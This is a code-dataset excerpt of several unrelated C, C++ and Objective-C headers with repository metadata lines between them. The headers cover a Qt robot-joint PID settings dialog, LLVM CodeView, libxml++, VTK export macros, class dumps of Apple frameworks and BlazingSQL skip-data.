2, 1, 1); pBox_4 = new QSpinBox(SwitchModeDlg); pBox_4->setObjectName(QString::fromUtf8("pBox_4")); sizePolicy.setHeightForWidth(pBox_4->sizePolicy().hasHeightForWidth()); pBox_4->setSizePolicy(sizePolicy); pBox_4->setFont(font2); pBox_4->setMaximum(999999999); pBox_4->setValue(80); gridLayout->addWidget(pBox_4, 4, 4, 1, 1); pBox_3 = new QSpinBox(SwitchModeDlg); pBox_3->setObjectName(QString::fromUtf8("pBox_3")); sizePolicy.setHeightForWidth(pBox_3->sizePolicy().hasHeightForWidth()); pBox_3->setSizePolicy(sizePolicy); pBox_3->setFont(font2); pBox_3->setMaximum(999999999); pBox_3->setValue(80); gridLayout->addWidget(pBox_3, 3, 4, 1, 1); maxBox_1 = new QSpinBox(SwitchModeDlg); maxBox_1->setObjectName(QString::fromUtf8("maxBox_1")); sizePolicy.setHeightForWidth(maxBox_1->sizePolicy().hasHeightForWidth()); maxBox_1->setSizePolicy(sizePolicy); maxBox_1->setFont(font2); maxBox_1->setMaximum(4095); gridLayout->addWidget(maxBox_1, 1, 3, 1, 1); pBtn = new QPushButton(SwitchModeDlg); pBtn->setObjectName(QString::fromUtf8("pBtn")); sizePolicy.setHeightForWidth(pBtn->sizePolicy().hasHeightForWidth()); pBtn->setSizePolicy(sizePolicy); gridLayout->addWidget(pBtn, 0, 4, 1, 1); pBox_1 = new QSpinBox(SwitchModeDlg); pBox_1->setObjectName(QString::fromUtf8("pBox_1")); sizePolicy.setHeightForWidth(pBox_1->sizePolicy().hasHeightForWidth()); pBox_1->setSizePolicy(sizePolicy); pBox_1->setFont(font2); pBox_1->setMaximum(999999999); pBox_1->setValue(80); gridLayout->addWidget(pBox_1, 1, 4, 1, 1); iBox_4 = new QSpinBox(SwitchModeDlg); iBox_4->setObjectName(QString::fromUtf8("iBox_4")); sizePolicy.setHeightForWidth(iBox_4->sizePolicy().hasHeightForWidth()); iBox_4->setSizePolicy(sizePolicy); iBox_4->setFont(font2); iBox_4->setMaximum(65536); gridLayout->addWidget(iBox_4, 4, 5, 1, 1); dBox_2 = new QSpinBox(SwitchModeDlg); dBox_2->setObjectName(QString::fromUtf8("dBox_2")); sizePolicy.setHeightForWidth(dBox_2->sizePolicy().hasHeightForWidth()); dBox_2->setSizePolicy(sizePolicy); dBox_2->setFont(font2); dBox_2->setMaximum(65536); dBox_2->setValue(10); gridLayout->addWidget(dBox_2, 2, 6, 1, 1); refreshBtn = new QPushButton(SwitchModeDlg); refreshBtn->setObjectName(QString::fromUtf8("refreshBtn")); sizePolicy.setHeightForWidth(refreshBtn->sizePolicy().hasHeightForWidth()); refreshBtn->setSizePolicy(sizePolicy); QIcon icon; icon.addFile(QString::fromUtf8(":/icons/refresh.ico"), QSize(), QIcon::Normal, QIcon::Off); refreshBtn->setIcon(icon); gridLayout->addWidget(refreshBtn, 0, 0, 1, 1); iBtn = new QPushButton(SwitchModeDlg); iBtn->setObjectName(QString::fromUtf8("iBtn")); sizePolicy.setHeightForWidth(iBtn->sizePolicy().hasHeightForWidth()); iBtn->setSizePolicy(sizePolicy); gridLayout->addWidget(iBtn, 0, 5, 1, 1); dBox_4 = new QSpinBox(SwitchModeDlg); dBox_4->setObjectName(QString::fromUtf8("dBox_4")); sizePolicy.setHeightForWidth(dBox_4->sizePolicy().hasHeightForWidth()); dBox_4->setSizePolicy(sizePolicy); dBox_4->setFont(font2); dBox_4->setMaximum(65536); dBox_4->setValue(10); gridLayout->addWidget(dBox_4, 4, 6, 1, 1); dBox_3 = new QSpinBox(SwitchModeDlg); dBox_3->setObjectName(QString::fromUtf8("dBox_3")); sizePolicy.setHeightForWidth(dBox_3->sizePolicy().hasHeightForWidth()); dBox_3->setSizePolicy(sizePolicy); dBox_3->setFont(font2); dBox_3->setMaximum(65536); dBox_3->setValue(10); gridLayout->addWidget(dBox_3, 3, 6, 1, 1); iBox_5 = new QSpinBox(SwitchModeDlg); iBox_5->setObjectName(QString::fromUtf8("iBox_5")); sizePolicy.setHeightForWidth(iBox_5->sizePolicy().hasHeightForWidth()); iBox_5->setSizePolicy(sizePolicy); iBox_5->setFont(font2); iBox_5->setMaximum(65536); gridLayout->addWidget(iBox_5, 5, 5, 1, 1); maxBtn = new QPushButton(SwitchModeDlg); maxBtn->setObjectName(QString::fromUtf8("maxBtn")); sizePolicy.setHeightForWidth(maxBtn->sizePolicy().hasHeightForWidth()); maxBtn->setSizePolicy(sizePolicy); gridLayout->addWidget(maxBtn, 0, 3, 1, 1); lineEdit_mode5 = new QLineEdit(SwitchModeDlg); lineEdit_mode5->setObjectName(QString::fromUtf8("lineEdit_mode5")); lineEdit_mode5->setEnabled(false); sizePolicy.setHeightForWidth(lineEdit_mode5->sizePolicy().hasHeightForWidth()); lineEdit_mode5->setSizePolicy(sizePolicy); lineEdit_mode5->setFont(font2); lineEdit_mode5->setReadOnly(true); gridLayout->addWidget(lineEdit_mode5, 5, 1, 1, 1); pBox_2 = new QSpinBox(SwitchModeDlg); pBox_2->setObjectName(QString::fromUtf8("pBox_2")); sizePolicy.setHeightForWidth(pBox_2->sizePolicy().hasHeightForWidth()); pBox_2->setSizePolicy(sizePolicy); pBox_2->setFont(font2); pBox_2->setMaximum(999999999); pBox_2->setValue(80); gridLayout->addWidget(pBox_2, 2, 4, 1, 1); dBox_5 = new QSpinBox(SwitchModeDlg); dBox_5->setObjectName(QString::fromUtf8("dBox_5")); sizePolicy.setHeightForWidth(dBox_5->sizePolicy().hasHeightForWidth()); dBox_5->setSizePolicy(sizePolicy); dBox_5->setFont(font2); dBox_5->setMaximum(65536); dBox_5->setValue(10); gridLayout->addWidget(dBox_5, 5, 6, 1, 1); minBox_3 = new QSpinBox(SwitchModeDlg); minBox_3->setObjectName(QString::fromUtf8("minBox_3")); sizePolicy.setHeightForWidth(minBox_3->sizePolicy().hasHeightForWidth()); minBox_3->setSizePolicy(sizePolicy); minBox_3->setFont(font2); minBox_3->setMaximum(4095); gridLayout->addWidget(minBox_3, 3, 2, 1, 1); iBox_1 = new QSpinBox(SwitchModeDlg); iBox_1->setObjectName(QString::fromUtf8("iBox_1")); sizePolicy.setHeightForWidth(iBox_1->sizePolicy().hasHeightForWidth()); iBox_1->setSizePolicy(sizePolicy); iBox_1->setFont(font2); iBox_1->setMaximum(65536); gridLayout->addWidget(iBox_1, 1, 5, 1, 1); minBox_4 = new QSpinBox(SwitchModeDlg); minBox_4->setObjectName(QString::fromUtf8("minBox_4")); sizePolicy.setHeightForWidth(minBox_4->sizePolicy().hasHeightForWidth()); minBox_4->setSizePolicy(sizePolicy); minBox_4->setFont(font2); minBox_4->setMaximum(4095); gridLayout->addWidget(minBox_4, 4, 2, 1, 1); minBtn = new QPushButton(SwitchModeDlg); minBtn->setObjectName(QString::fromUtf8("minBtn")); sizePolicy.setHeightForWidth(minBtn->sizePolicy().hasHeightForWidth()); minBtn->setSizePolicy(sizePolicy); gridLayout->addWidget(minBtn, 0, 2, 1, 1); dBox_1 = new QSpinBox(SwitchModeDlg); dBox_1->setObjectName(QString::fromUtf8("dBox_1")); sizePolicy.setHeightForWidth(dBox_1->sizePolicy().hasHeightForWidth()); dBox_1->setSizePolicy(sizePolicy); dBox_1->setFont(font2); dBox_1->setMaximum(65536); dBox_1->setValue(10); gridLayout->addWidget(dBox_1, 1, 6, 1, 1); maxBox_4 = new QSpinBox(SwitchModeDlg); maxBox_4->setObjectName(QString::fromUtf8("maxBox_4")); sizePolicy.setHeightForWidth(maxBox_4->sizePolicy().hasHeightForWidth()); maxBox_4->setSizePolicy(sizePolicy); maxBox_4->setFont(font2); maxBox_4->setMaximum(4095); gridLayout->addWidget(maxBox_4, 4, 3, 1, 1); pBox_5 = new QSpinBox(SwitchModeDlg); pBox_5->setObjectName(QString::fromUtf8("pBox_5")); sizePolicy.setHeightForWidth(pBox_5->sizePolicy().hasHeightForWidth()); pBox_5->setSizePolicy(sizePolicy); pBox_5->setFont(font2); pBox_5->setMaximum(999999999); pBox_5->setValue(80); gridLayout->addWidget(pBox_5, 5, 4, 1, 1); dBtn = new QPushButton(SwitchModeDlg); dBtn->setObjectName(QString::fromUtf8("dBtn")); sizePolicy.setHeightForWidth(dBtn->sizePolicy().hasHeightForWidth()); dBtn->setSizePolicy(sizePolicy); gridLayout->addWidget(dBtn, 0, 6, 1, 1); rmodeBtn = new QPushButton(SwitchModeDlg); rmodeBtn->setObjectName(QString::fromUtf8("rmodeBtn")); rmodeBtn->setFont(font); rmodeBtn->setStyleSheet(QString::fromUtf8("color: red")); gridLayout->addWidget(rmodeBtn, 6, 1, 1, 1); rminBtn = new QPushButton(SwitchModeDlg); rminBtn->setObjectName(QString::fromUtf8("rminBtn")); rminBtn->setFont(font); rminBtn->setStyleSheet(QString::fromUtf8("color: red")); gridLayout->addWidget(rminBtn, 6, 2, 1, 1); rmaxBtn = new QPushButton(SwitchModeDlg); rmaxBtn->setObjectName(QString::fromUtf8("rmaxBtn")); rmaxBtn->setFont(font); rmaxBtn->setStyleSheet(QString::fromUtf8("color:red")); gridLayout->addWidget(rmaxBtn, 6, 3, 1, 1); rpBtn = new QPushButton(SwitchModeDlg); rpBtn->setObjectName(QString::fromUtf8("rpBtn")); rpBtn->setFont(font); rpBtn->setStyleSheet(QString::fromUtf8("color:red")); gridLayout->addWidget(rpBtn, 6, 4, 1, 1); riBtn = new QPushButton(SwitchModeDlg); riBtn->setObjectName(QString::fromUtf8("riBtn")); riBtn->setFont(font); riBtn->setStyleSheet(QString::fromUtf8("color:red")); gridLayout->addWidget(riBtn, 6, 5, 1, 1); rdBtn = new QPushButton(SwitchModeDlg); rdBtn->setObjectName(QString::fromUtf8("rdBtn")); rdBtn->setFont(font); rdBtn->setStyleSheet(QString::fromUtf8("color:red")); gridLayout->addWidget(rdBtn, 6, 6, 1, 1); label_7 = new QLabel(SwitchModeDlg); label_7->setObjectName(QString::fromUtf8("label_7")); label_7->setFont(font); label_7->setStyleSheet(QString::fromUtf8("color:red")); label_7->setAlignment(Qt::AlignCenter); gridLayout->addWidget(label_7, 6, 0, 1, 1); retranslateUi(SwitchModeDlg); QMetaObject::connectSlotsByName(SwitchModeDlg); } // setupUi void retranslateUi(QDialog *SwitchModeDlg) { SwitchModeDlg->setWindowTitle(QApplication::translate("SwitchModeDlg", "Switch Mode", nullptr)); label_5->setText(QApplication::translate("SwitchModeDlg", "JOINT4", nullptr)); label_2->setText(QApplication::translate("SwitchModeDlg", "OPERATING MODE", nullptr)); label_6->setText(QApplication::translate("SwitchModeDlg", "JOINT5", nullptr)); label_4->setText(QApplication::translate("SwitchModeDlg", "JOINT3", nullptr)); label->setText(QApplication::translate("SwitchModeDlg", "JOINT1", nullptr)); label_3->setText(QApplication::translate("SwitchModeDlg", "JOINT2", nullptr)); pBtn->setText(QApplication::translate("SwitchModeDlg", "P_GAIN", nullptr)); refreshBtn->setText(QApplication::translate("SwitchModeDlg", "refresh", nullptr)); iBtn->setText(QApplication::translate("SwitchModeDlg", "I_GAIN", nullptr)); maxBtn->setText(QApplication::translate("SwitchModeDlg", "MAX POS", nullptr)); minBtn->setText(QApplication::translate("SwitchModeDlg", "MIN POS", nullptr)); dBtn->setText(QApplication::translate("SwitchModeDlg", "D_GAIN", nullptr)); rmodeBtn->setText(QApplication::translate("SwitchModeDlg", "MODE", nullptr)); rminBtn->setText(QApplication::translate("SwitchModeDlg", "MIN", nullptr)); rmaxBtn->setText(QApplication::translate("SwitchModeDlg", "MAX", nullptr)); rpBtn->setText(QApplication::translate("SwitchModeDlg", "P", nullptr)); riBtn->setText(QApplication::translate("SwitchModeDlg", "I", nullptr)); rdBtn->setText(QApplication::translate("SwitchModeDlg", "D", nullptr)); label_7->setText(QApplication::translate("SwitchModeDlg", "RESET", nullptr)); } // retranslateUi }; namespace Ui { class SwitchModeDlg: public Ui_SwitchModeDlg {}; } // namespace Ui QT_END_NAMESPACE #endif // UI_SWITCHMODEDLG_H
38.94974
104
0.660853
eb7993baab8949d5160c7c5d5c5aa9834f4d6244
2,078
h
C
include/llvm/DebugInfo/CodeView/TypeRecordBuilder.h
kpdev/llvm-tnt
d81ccf6fad01597f0143a1598d94d7d29002cf41
[ "MIT" ]
1,073
2017-06-28T05:11:54.000Z
2022-03-31T12:52:07.000Z
include/llvm/DebugInfo/CodeView/TypeRecordBuilder.h
kpdev/llvm-tnt
d81ccf6fad01597f0143a1598d94d7d29002cf41
[ "MIT" ]
23
2017-07-01T02:22:04.000Z
2020-10-16T09:42:03.000Z
include/llvm/DebugInfo/CodeView/TypeRecordBuilder.h
kpdev/llvm-tnt
d81ccf6fad01597f0143a1598d94d7d29002cf41
[ "MIT" ]
244
2017-06-28T05:08:57.000Z
2022-03-13T05:03:12.000Z
//===- TypeRecordBuilder.h --------------------------------------*- C++ -*-===// // // The LLVM Compiler Infrastructure // // This file is distributed under the University of Illinois Open Source // License. See LICENSE.TXT for details. // //===----------------------------------------------------------------------===// #ifndef LLVM_DEBUGINFO_CODEVIEW_TYPERECORDBUILDER_H #define LLVM_DEBUGINFO_CODEVIEW_TYPERECORDBUILDER_H #include "llvm/ADT/SmallVector.h" #include "llvm/DebugInfo/CodeView/CodeView.h" #include "llvm/DebugInfo/CodeView/TypeIndex.h" #include "llvm/DebugInfo/CodeView/TypeRecord.h" #include "llvm/Support/EndianStream.h" #include "llvm/Support/raw_ostream.h" namespace llvm { namespace codeview { class TypeRecordBuilder { private: TypeRecordBuilder(const TypeRecordBuilder &) = delete; TypeRecordBuilder &operator=(const TypeRecordBuilder &) = delete; public: explicit TypeRecordBuilder(TypeRecordKind Kind); void writeUInt8(uint8_t Value); void writeInt16(int16_t Value); void writeUInt16(uint16_t Value); void writeInt32(int32_t Value); void writeUInt32(uint32_t Value); void writeInt64(int64_t Value); void writeUInt64(uint64_t Value); void writeTypeIndex(TypeIndex TypeInd); void writeTypeRecordKind(TypeRecordKind Kind); void writeEncodedInteger(int64_t Value); void writeEncodedSignedInteger(int64_t Value); void writeEncodedUnsignedInteger(uint64_t Value); void writeNullTerminatedString(StringRef Value); void writeGuid(StringRef Guid); void writeBytes(StringRef Value) { Stream << Value; } llvm::StringRef str(); uint64_t size() const { return Stream.tell(); } void truncate(uint64_t Size) { // This works because raw_svector_ostream is not buffered. assert(Size < Buffer.size()); Buffer.resize(Size); } void reset(TypeRecordKind K) { Buffer.clear(); writeTypeRecordKind(K); } private: llvm::SmallVector<char, 256> Buffer; llvm::raw_svector_ostream Stream; llvm::support::endian::Writer<llvm::support::endianness::little> Writer; }; } } #endif
29.267606
80
0.707411
a5a7d3ba2cf2f20e039b1862e1adba1f3eb5424e
623
h
C
jitter_live_api_c/src/fixed_data/fixed_data_tx.h
JitterCompany/jitter_live_api_c
dc0e74e634863c268f901b98e533ebe5818e2242
[ "MIT" ]
null
null
null
jitter_live_api_c/src/fixed_data/fixed_data_tx.h
JitterCompany/jitter_live_api_c
dc0e74e634863c268f901b98e533ebe5818e2242
[ "MIT" ]
null
null
null
jitter_live_api_c/src/fixed_data/fixed_data_tx.h
JitterCompany/jitter_live_api_c
dc0e74e634863c268f901b98e533ebe5818e2242
[ "MIT" ]
null
null
null
#ifndef FIXED_DATA_TX_H #define FIXED_DATA_TX_H // Calculate how many packets are required to send a given number of bytes. // The calculation includes the extra bytes required for the CRC checksum. size_t fixed_data_tx_calculate_num_packets(size_t num_data_bytes); // Try to make send progress on the current fixed_data task void fixed_data_tx_send(LiveAPI *ctx, LiveAPISendTask *task, const bool is_subtask); // Detect if the given topic is an 'ack' topic, try to handle the ack if valid bool fixed_data_tx_handle_ack(LiveAPI *ctx, const char *topic, uint8_t *payload, const size_t sizeof_payload); #endif
32.789474
84
0.789727
9d331885b98d72ae5b3353ab66cae0696b0c5fb3
249
h
C
CommonPods/Classes/WebView/JJURLProtocol.h
shelby-yao/CommonPods
623688bf86e0de9d02d7ce3d42ba2774c40aded9
[ "MIT" ]
2
2020-03-18T10:00:51.000Z
2020-08-05T08:29:06.000Z
CommonPods/Classes/WebView/JJURLProtocol.h
shelby-yao/CommonPods
623688bf86e0de9d02d7ce3d42ba2774c40aded9
[ "MIT" ]
null
null
null
CommonPods/Classes/WebView/JJURLProtocol.h
shelby-yao/CommonPods
623688bf86e0de9d02d7ce3d42ba2774c40aded9
[ "MIT" ]
null
null
null
// // NSURLProtocol+WebKitSupport.h // NSURLProtocol+WebKitSupport // // Created by Jekin on 2019/2/26. // Copyright © 2018年 liumaoqiang. All rights reserved. // #import <Foundation/Foundation.h> @interface JJURLProtocol : NSURLProtocol @end
17.785714
55
0.73494
99591b9d82c951dadbbd34248b740ab661f6272b
3,206
h
C
scratchpad/installation-originals/libxml++-2.34.2/libxml++/parsers/parser.h
anewholm/generalserver
99321562921c317f1ef14a2b84abfe91f0f871b6
[ "X11" ]
1
2021-12-27T19:14:03.000Z
2021-12-27T19:14:03.000Z
scratchpad/installation-originals/libxml++-2.34.2/libxml++/parsers/parser.h
anewholm/generalserver
99321562921c317f1ef14a2b84abfe91f0f871b6
[ "X11" ]
1
2016-12-03T05:33:13.000Z
2016-12-03T05:33:13.000Z
scratchpad/installation-originals/libxml++-2.34.2/libxml++/parsers/parser.h
anewholm/generalserver
99321562921c317f1ef14a2b84abfe91f0f871b6
[ "X11" ]
null
null
null
/* parser.h * libxml++ and this file are copyright (C) 2000 by Ari Johnson, and * are covered by the GNU Lesser General Public License, which should be * included with libxml++ as the file COPYING. */ #ifndef __LIBXMLPP_PARSER_H #define __LIBXMLPP_PARSER_H #ifdef _MSC_VER //Ignore warnings about the Visual C++ Bug, where we can not do anything #pragma warning (disable : 4786) #endif #include <libxml++/nodes/element.h> #include <libxml++/exceptions/validity_error.h> #include <libxml++/exceptions/internal_error.h> #include <istream> #ifndef DOXYGEN_SHOULD_SKIP_THIS extern "C" { struct _xmlParserCtxt; } #endif //DOXYGEN_SHOULD_SKIP_THIS namespace xmlpp { /** XML parser. * */ class Parser : NonCopyable { public: Parser(); virtual ~Parser(); typedef unsigned int size_type; /** By default, the parser will not validate the XML file. * @param val Whether the document should be validated. */ virtual void set_validate(bool val = true); /** See set_validate() * @returns Whether the parser will validate the XML file. */ virtual bool get_validate() const; /** Set whether the parser will automatically substitute entity references with the text of the entities' definitions. * For instance, this affects the text returned by ContentNode::get_content(). * By default, the parser will not substitute entities, so that you do not lose the entity reference information. * @param val Whether entities will be substitued. */ virtual void set_substitute_entities(bool val = true); /** See set_substitute_entities(). * @returns Whether entities will be substituted during parsing. */ virtual bool get_substitute_entities() const; /** Parse an XML document from a file. * @throw exception * @param filename The path to the file. */ virtual void parse_file(const Glib::ustring& filename) = 0; //TODO: In a future ABI-break, add a virtual void parse_memory_raw(const unsigned char* contents, size_type bytes_count); /** Parse an XML document from a string. * @throw exception * @param contents The XML document as a string. */ virtual void parse_memory(const Glib::ustring& contents) = 0; /** Parse an XML document from a stream. * @throw exception * @param in The stream. */ virtual void parse_stream(std::istream& in) = 0; //TODO: Add stop_parser()/stop_parsing(), wrapping XmlStopParser()? protected: virtual void initialize_context(); virtual void release_underlying(); virtual void on_validity_error(const Glib::ustring& message); virtual void on_validity_warning(const Glib::ustring& message); virtual void handleException(const exception& e); virtual void check_for_exception(); virtual void check_for_validity_messages(); static void callback_validity_error(void* ctx, const char* msg, ...); static void callback_validity_warning(void* ctx, const char* msg, ...); _xmlParserCtxt* context_; exception* exception_; Glib::ustring validate_error_; Glib::ustring validate_warning_; //Built gradually - used in an exception at the end of parsing. bool validate_; bool substitute_entities_; }; } // namespace xmlpp #endif //__LIBXMLPP_PARSER_H
28.625
123
0.729881
3fb949370260c62a4301e154ba86220e1a4ce7f3
174
c
C
Ex.c
Fiugas/Programacao_C
876015b7bdfb978b39d66e362f653a8105be914f
[ "MIT" ]
null
null
null
Ex.c
Fiugas/Programacao_C
876015b7bdfb978b39d66e362f653a8105be914f
[ "MIT" ]
null
null
null
Ex.c
Fiugas/Programacao_C
876015b7bdfb978b39d66e362f653a8105be914f
[ "MIT" ]
null
null
null
#include <stdio.h> int main() { int a=5; int b=7; int c=a+b; //printf("c=%d",c );// printf("%d=%d+%d\n",c,a,b ); printf("O meu primeiro programa em C \n"); }
15.818182
45
0.505747
12b6d54205c4bd66058d0daf35f09ae91f67240a
3,081
h
C
PrivateFrameworks/PhotoLibraryPrivate/PLPLibraryMigrationController.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
17
2018-11-13T04:02:58.000Z
2022-01-20T09:27:13.000Z
PrivateFrameworks/PhotoLibraryPrivate/PLPLibraryMigrationController.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
3
2018-04-06T02:02:27.000Z
2018-10-02T01:12:10.000Z
PrivateFrameworks/PhotoLibraryPrivate/PLPLibraryMigrationController.h
phatblat/macOSPrivateFrameworks
9047371eb80f925642c8a7c4f1e00095aec66044
[ "MIT" ]
1
2018-09-28T13:54:23.000Z
2018-09-28T13:54:23.000Z
// // Generated by class-dump 3.5 (64 bit). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2013 by Steve Nygard. // #import "NSObject.h" #import "PLPLibraryMigrationClient.h" @class NSDictionary, NSObject<OS_dispatch_semaphore>, NSProgress, NSString, NSURL, NSXPCConnection, PLPLibraryMigrationOptions; @interface PLPLibraryMigrationController : NSObject <PLPLibraryMigrationClient> { BOOL _running; BOOL _transactionComplete; int _processIdentifier; float _progressScaler; NSURL *_libraryURL; NSURL *_workingLibraryURL; PLPLibraryMigrationOptions *_options; unsigned long long _waitMaxSecondsForTermination; CDUnknownBlockType _completion; NSXPCConnection *_connection; NSString *_preHandoffDuration; NSDictionary *_serviceCapabilities; NSProgress *_progress; long long _lastProgressUnits; NSObject<OS_dispatch_semaphore> *_waitForTerminationSemaphore; } @property(retain) NSObject<OS_dispatch_semaphore> *waitForTerminationSemaphore; // @synthesize waitForTerminationSemaphore=_waitForTerminationSemaphore; @property BOOL transactionComplete; // @synthesize transactionComplete=_transactionComplete; @property float progressScaler; // @synthesize progressScaler=_progressScaler; @property long long lastProgressUnits; // @synthesize lastProgressUnits=_lastProgressUnits; @property(retain) NSProgress *progress; // @synthesize progress=_progress; @property(copy) NSDictionary *serviceCapabilities; // @synthesize serviceCapabilities=_serviceCapabilities; @property(copy) NSString *preHandoffDuration; // @synthesize preHandoffDuration=_preHandoffDuration; @property(readonly) int processIdentifier; // @synthesize processIdentifier=_processIdentifier; @property(readonly) NSXPCConnection *connection; // @synthesize connection=_connection; @property(getter=isRunning) BOOL running; // @synthesize running=_running; @property(copy) CDUnknownBlockType completion; // @synthesize completion=_completion; @property unsigned long long waitMaxSecondsForTermination; // @synthesize waitMaxSecondsForTermination=_waitMaxSecondsForTermination; @property(copy) PLPLibraryMigrationOptions *options; // @synthesize options=_options; @property(copy) NSURL *workingLibraryURL; // @synthesize workingLibraryURL=_workingLibraryURL; @property(copy) NSURL *libraryURL; // @synthesize libraryURL=_libraryURL; - (void).cxx_destruct; - (void)migrationOperationComplete:(id)arg1 error:(id)arg2; - (void)reportMigrationProgress:(double)arg1; - (id)wrapError:(id)arg1 withCode:(unsigned long long)arg2; - (void)completeMigration:(id)arg1 error:(id)arg2; - (id)setupConnection:(id *)arg1; - (void)renameLibrary; - (void)migrateLibrary; - (id)initWithLibrary:(id)arg1 options:(id)arg2 waitMaxSecondsForTermination:(unsigned long long)arg3 progress:(id)arg4 completionHandler:(CDUnknownBlockType)arg5; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly, copy) NSString *description; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
47.4
163
0.804284
3f713f5874db165e72754669c5daae44cc490ba2
1,852
h
C
System/Library/Frameworks/HealthKit.framework/HKElectrocardiogramSessionConfiguration.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
5
2021-04-29T04:31:43.000Z
2021-08-19T18:59:58.000Z
System/Library/Frameworks/HealthKit.framework/HKElectrocardiogramSessionConfiguration.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
null
null
null
System/Library/Frameworks/HealthKit.framework/HKElectrocardiogramSessionConfiguration.h
lechium/tvOS145Headers
9940da19adb0017f8037853e9cfccbe01b290dd5
[ "MIT" ]
1
2022-03-19T11:16:23.000Z
2022-03-19T11:16:23.000Z
/* * This header is generated by classdump-dyld 1.5 * on Wednesday, April 28, 2021 at 9:06:08 PM Mountain Standard Time * Operating System: Version 14.5 (Build 18L204) * Image Source: /System/Library/Frameworks/HealthKit.framework/HealthKit * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. Updated by Kevin Bradley. */ #import <HealthKit/HealthKit-Structs.h> #import <libobjc.A.dylib/NSCopying.h> #import <libobjc.A.dylib/NSSecureCoding.h> @class NSUUID; @interface HKElectrocardiogramSessionConfiguration : NSObject <NSCopying, NSSecureCoding> { BOOL _wornOnRightArm; NSUUID* _sessionUUID; long long _mode; double _maximumDuration; } @property (nonatomic,copy) NSUUID * sessionUUID; //@synthesize sessionUUID=_sessionUUID - In the implementation block @property (assign,nonatomic) long long mode; //@synthesize mode=_mode - In the implementation block @property (assign,nonatomic) double maximumDuration; //@synthesize maximumDuration=_maximumDuration - In the implementation block @property (assign,nonatomic) BOOL wornOnRightArm; //@synthesize wornOnRightArm=_wornOnRightArm - In the implementation block +(BOOL)supportsSecureCoding; +(id)sessionConfigurationWithUUID:(id)arg1 mode:(long long)arg2 maximumDuration:(double)arg3 wornOnRightArm:(BOOL)arg4 ; -(id)copyWithZone:(NSZone*)arg1 ; -(void)encodeWithCoder:(id)arg1 ; -(id)initWithCoder:(id)arg1 ; -(void)setMode:(long long)arg1 ; -(long long)mode; -(void)setSessionUUID:(NSUUID *)arg1 ; -(NSUUID *)sessionUUID; -(double)maximumDuration; -(void)setMaximumDuration:(double)arg1 ; -(void)setWornOnRightArm:(BOOL)arg1 ; -(BOOL)wornOnRightArm; @end
43.069767
142
0.696544
e9dc33464c9aef9146c2d6319116071820653d45
486
h
C
engine/src/skip_data/SkipDataProcessor.h
romulo-auccapuclla/blazingsql
c85429479cabc0907212e880d590441f25eb3b59
[ "Apache-2.0" ]
null
null
null
engine/src/skip_data/SkipDataProcessor.h
romulo-auccapuclla/blazingsql
c85429479cabc0907212e880d590441f25eb3b59
[ "Apache-2.0" ]
null
null
null
engine/src/skip_data/SkipDataProcessor.h
romulo-auccapuclla/blazingsql
c85429479cabc0907212e880d590441f25eb3b59
[ "Apache-2.0" ]
null
null
null
#ifndef SKIPDATAPROCESSOR_H_ #define SKIPDATAPROCESSOR_H_ #include <iostream> #include <string> #include "execution_graph/logic_controllers/LogicPrimitives.h" namespace ral { namespace skip_data { std::pair<std::unique_ptr<ral::frame::BlazingTable>, bool> process_skipdata_for_table( const ral::frame::BlazingTableView & metadata_view, const std::vector<std::string> & names, std::string table_scan); } // namespace skip_data } // namespace ral #endif //SKIPDATAPROCESSOR_H_
24.3
120
0.779835
ac388374ea350bd106595933caf600175f907959
1,243
h
C
windowsbuild/MSVC2017/vtk/8.1.0/include/vtk-8.1/vtkCommonComputationalGeometryModule.h
Tech-XCorp/visit-deps
23e2bd534bf9c332d6b7d32310495f1f65b1b936
[ "BSD-3-Clause" ]
null
null
null
windowsbuild/MSVC2017/vtk/8.1.0/include/vtk-8.1/vtkCommonComputationalGeometryModule.h
Tech-XCorp/visit-deps
23e2bd534bf9c332d6b7d32310495f1f65b1b936
[ "BSD-3-Clause" ]
null
null
null
windowsbuild/MSVC2017/vtk/8.1.0/include/vtk-8.1/vtkCommonComputationalGeometryModule.h
Tech-XCorp/visit-deps
23e2bd534bf9c332d6b7d32310495f1f65b1b936
[ "BSD-3-Clause" ]
null
null
null
#ifndef VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT_H #define VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT_H #ifdef VTKCOMMONCOMPUTATIONALGEOMETRY_STATIC_DEFINE # define VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT # define VTKCOMMONCOMPUTATIONALGEOMETRY_NO_EXPORT #else # ifndef VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT # ifdef vtkCommonComputationalGeometry_EXPORTS /* We are building this library */ # define VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT __declspec(dllexport) # else /* We are using this library */ # define VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT __declspec(dllimport) # endif # endif # ifndef VTKCOMMONCOMPUTATIONALGEOMETRY_NO_EXPORT # define VTKCOMMONCOMPUTATIONALGEOMETRY_NO_EXPORT # endif #endif #ifndef VTKCOMMONCOMPUTATIONALGEOMETRY_DEPRECATED # define VTKCOMMONCOMPUTATIONALGEOMETRY_DEPRECATED __declspec(deprecated) # define VTKCOMMONCOMPUTATIONALGEOMETRY_DEPRECATED_EXPORT VTKCOMMONCOMPUTATIONALGEOMETRY_EXPORT __declspec(deprecated) # define VTKCOMMONCOMPUTATIONALGEOMETRY_DEPRECATED_NO_EXPORT VTKCOMMONCOMPUTATIONALGEOMETRY_NO_EXPORT __declspec(deprecated) #endif #define DEFINE_NO_DEPRECATED 0 #if DEFINE_NO_DEPRECATED # define VTKCOMMONCOMPUTATIONALGEOMETRY_NO_DEPRECATED #endif #endif
32.710526
125
0.851971
6b7cb3894835c5b4ef3511edc6e624f7d6578d53
295
h
C
YsyRichTextDemo/YsyRichTextDemo/YsyRichText/YsyRichText.h
ysyplay/ysyRichText
16bbf798b0aae6073aa9560a76baddbed22cd449
[ "MIT" ]
30
2020-07-27T08:03:25.000Z
2021-06-09T02:32:13.000Z
